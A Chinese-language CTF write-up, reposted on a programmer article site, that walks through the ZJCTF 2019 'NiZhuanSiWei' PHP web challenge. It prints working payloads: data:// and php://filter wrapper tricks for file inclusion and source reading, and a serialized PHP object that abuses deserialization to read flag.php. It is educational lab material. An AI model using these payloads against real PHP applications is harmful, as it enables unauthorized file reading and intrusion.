欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[ZJCTF 2019]NiZhuanSiWei

程序员文章站 2022-05-11 18:01:37
...

[ZJCTF 2019]NiZhuanSiWei

代码审计

[ZJCTF 2019]NiZhuanSiWei

查看一下useless.php --只有注释信息 没有用

利用data协议绕过

将welcome to the zjctf写入

而data://协议允许读入

payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

到这里就不会了 只有看下wp了

正则判断里面是否有flag字符,如果没有的话,并运行指定文件。

利用filter来进行读取指定文件

payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

得到 base64解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

将flag调用,然后给里面file值赋值为flag.php。
序列化后传入password,应该就会出flag。

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

三者结合

payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

得到flag

知识点:

***与反序列化知识:

https://www.jianshu.com/p/631606cc5b76

https://www.cnblogs.com/20175211lyz/p/11403397.html

类型 结构结构
String(字符串) s:size:value;
Integer(整型) i:value;
Boolean(布尔型) b:value;(保存1或0)
Null N;
Array(列) a:size:{key definition;value definition;(repeated per element)}
Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

例如这里,O代表对象,4为对象长度,1代表有一个成员变量。

相关标签: CTF web